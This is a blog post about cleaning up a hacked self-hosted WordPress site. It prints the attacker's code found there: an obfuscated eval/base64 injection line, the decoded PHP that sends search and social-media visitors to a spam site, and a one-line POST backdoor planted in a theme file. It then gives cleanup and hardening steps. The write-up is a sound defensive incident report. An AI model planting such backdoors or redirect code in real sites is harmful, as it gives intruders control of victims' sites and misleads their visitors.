If you have a self-hosted WordPress site, you should read this. Sorry if it gets a bit technical.

“A weird thing is happening when I access my site from Google…” — Hack victim

Last month my friend Zach called with a quandary. He explained that Google searches for his business were returning results that looked correct, but when clicked actually went to Russian gambling sites. Yet everything behaved normally if you visited the website directly (by domain name).

After I confirmed the problem, he gave me the account logins whereupon I discovered that every PHP file in his Wordpress installation directory had been altered. Within each file, blocks of code had been defaced with a sinister bit of PHP. Zach had been a victim of something called a code-injection hack. I didn’t realize it then, but fixing his problem would turn into a month-long cat and mouse game with some very clever Ukrainian hackers.

The Details of the Attack

For starters, we changed all the account logins. This includes the wp-admin login and the hosting site panel password. Then I cleaned up the code itself. But a few weeks later, the site got hacked again with the same code injection tricks.

The injected code looked something like this:

<?php  eval(base64_decode(“DQplcnJvcl9yZXBvcnRp…Qp9“)); >

I have omitted the full line (…) because it’s really, really long and you certainly don’t care. But it was this gibberish inside the base64_decode block that contained the encrypted instructions for the hack itself.

So what does this line of evil do exactly? It contains several elements, the first of which is a base64_decode command. This refers to the Base64 encoding algorithm, which is a cheap cipher. It’s completely reversible so it provides zero security, but what it does provide is obfuscation. Since it’s not readily understood by humans, it’s often used to hide messages (it’s more commonly used to normalize non-ascii characters in binary files). Search for “base64 encoder decoder” to find a multitude of online base64 decoders.

Phrases encoded in base64 (and vice versa)

Hello, World <=> aGVsbG8sIHdvcmxk

So Long, and Thanks for All the Fish <=>
         U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo

The encoded message stuffed into his PHP files wasn’t so innocent though. It contained a set of instructions designed to intercept incoming requests from a variety of search and social media sites (Google, Facebook, Twitter, Yahoo, etc.) and reroute them to a spam-infested website. Definitely not good for business. The base64 message was also stuffed inside a php eval command, which then runs (or “evaluates”) that expression within, verbatim. So when any of these pages are called by WP, off it goes!

The hacker’s decoded base64 code

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
     $referer=$_SERVER['HTTP_REFERER'];
     $uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
  if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
    if (stristr($referer,"yahoo")
or stristr($referer,"bing")
or stristr($referer,"rambler")
or stristr($referer,"gogo")
or stristr($referer,"live.com")
or stristr($referer,"aport")
or stristr($referer,"nigma")
or stristr($referer,"webalta")
or stristr($referer,"begun.ru")
or stristr($referer,"stumbleupon.com")
or stristr($referer,"bit.ly")
or stristr($referer,"tinyurl.com")
or preg_match("/yandex.ru/yandsearch?(.*?)&lr=/",$referer)
or preg_match ("/google.(.*?)/url?sa/",$referer)
or stristr($referer,"myspace.com")
or stristr($referer,"facebook.com")
or stristr($referer,"aol.com"))  
{
  if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
    header("Location: http://www.badurl.com/")
exit();
}}}}}

(I removed the exact destination link because I don’t want to attract these people to this post, but needless to say, BADURL.com is not a place you want to visit.)

A Clue!

I got lucky when working on this. After a few failed fixes and repeat attacks, I finally found evidence in the webserver logs (shown with their IP address hidden — I can tell you that the IP address came from Odessa, Ukraine).

194.*.*.67 "POST /wp-content/themes/mytheme/404.php" 56965 "-" "-"
194.*.*.67 "POST /wp-content/themes/mytheme/404.php" 413 "-" "-"

The requested 404.php contained an evil little line of code. This was their backdoor into his site, which I’m fairly certain had been added since running the clean-up scripts.

<?php
     if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;}
?>

So what does this tell us?

First, the hackers knew the path to a specific file in the theme directory, which they could have determined by looking at the CSS resources, or by previous break-ins to the wp-admin site. Second, all of their requests are POSTs, which means they’re trying to send large amounts of data (as when submitting a form post). Notice that the first was large, the second was small again: one to apply the hack and one to execute it. How they were able to write to the file in the first place is unclear, but that they could revealed a security hole that needed plugging. Most web requests should not be able to write to the file system, something I should’ve checked for immediately!

Solutions

First, clean up their mess

  • The annoyance in the hack is that they added this line of code EVERYWHERE, to all of the PHP files and not just in one place, but everywhere that had a PHP block. I wrote a script to clean the files using a regular expression. This is a band-aid. It fixes the affected files, it does not stop the exploit itself.
    #!/bin/sh
    find . -type f -print |
            xargs -0 sed -i 's/eval(base64_decode(.*p9"));//g'

    Note: the “p9” in the pattern is the last two characters in the base64 string. If you use this, change it to your string values instead. This regular expression could be improved.

  • Replace all the WP directories with copies of the same files from another server (or by downloading the latest bits from wordpress.org) to ensure you get other hidden traps removed.
  • Scan the WP database for instances of the eval string and other hacks.

Next, lock-down your site

  • Change the passwords to both the WP wp-admin site and any FTP/SFTP accounts. Use strong passwords, not the name of your spouse, pet, or favorite band. Don’t forget to change the password to your hosting company’s control panel too, including the mysql user.
  • If you get so lucky as to find an IP address, then block their IP address (range) in a set of .htaccess files (./wp-admin, ./wp-content, etc.). This is only useful if they stick to one ISP, of course. Often hackers operate from several places at once to minimize their exposure.
    ## IP-ABUSE-LOOKUP
    ## IP Address hidden for the purposes of this post
    Order Allow,Deny
    Allow from All
    Deny from 194.*.
  • Remove ALL non-essential plugins. Poorly written plugins are a constant source of security holes.
  •  Since they knew the theme path and since it looked like their attack may have been automated, I renamed the theme itself. This is done by renaming the theme directory, then re-activating it in the WP admin >Appearance>Themes section.
  •  Modify the permissions of PHP files to be 444 (read-only). Alternatively, you can create a new user in the site control panel and put the user in the same UNIX group as the file system user. This grants the web server permission to read, but not WRITE files. Here’s a primer: http://codex.wordpress.org/Changing_File_PermissionsThis is a key fix. If they can execute commands via security holes in WordPress that write to the file system (injecting code), these commands will fail if the file system is locked down.
    There are exceptions, such as the uploads directory in wp-content (for Media file uploads).  You can get around the exceptions with .htaccess files in those directories, such as this one placed in wp-content/uploads and wp-includes:

    <Files *.php>
    deny from all
    </Files>

     

  • Since I strongly suspect they gained admin access either through a virus on a user’s machine or through an known WP exploit, I created a second everyday user (not admin) whose permissions did not include editing theme templates or adding plugins. I sent this to his group and told them to never use Admin unless they absolutely had to. I think if you’re serious about security, you should disable the theme editor in the admin panel.
  • Disable FTP access. You should only be using SFTP.
  • Regenerate the WP Keys, et al, in the wp-config.php file. Do this by using their key generator: https://api.wordpress.org/secret-key/1.1/salt/. Just take the values returned and replace those in that file.
  • For grins, I activated Cloud Flare as an intermediary for the site itself. This free service provides security rules, caching, etc. Check it out: http://www.cloudflare.com/ 

You should note how few of these changes are actually WordPress-specific. These are practices applicable to any site that allows user uploads and other dynamism.

It’s been three weeks since I did all this. Prior to these changes they were getting in every week. So I’m hopeful. I did notice that two days ago they made another attempt identical to the one shown in the logs above. They did not investigate the missing theme path, which makes the case for the attack being automated. I’ll update this post if anything else happens!

*********

Keep your WP install updated to the latest versions: they’re always patching security holes. Here are some links worth reading:

http://codex.wordpress.org/Hardening_WordPress

http://www.esecurityplanet.com/open-source-security/top-5-wordpress-vulnerabilities-and-how-to-fix-them.html

http://www.jtpratt.com/series/wordpress-security-guide/

You should also visit and follow sucuri.net to keep up with security issues:

http://blog.sucuri.net/2012/08/wordpress-security-cutting-through-the-bs.html

Advertisements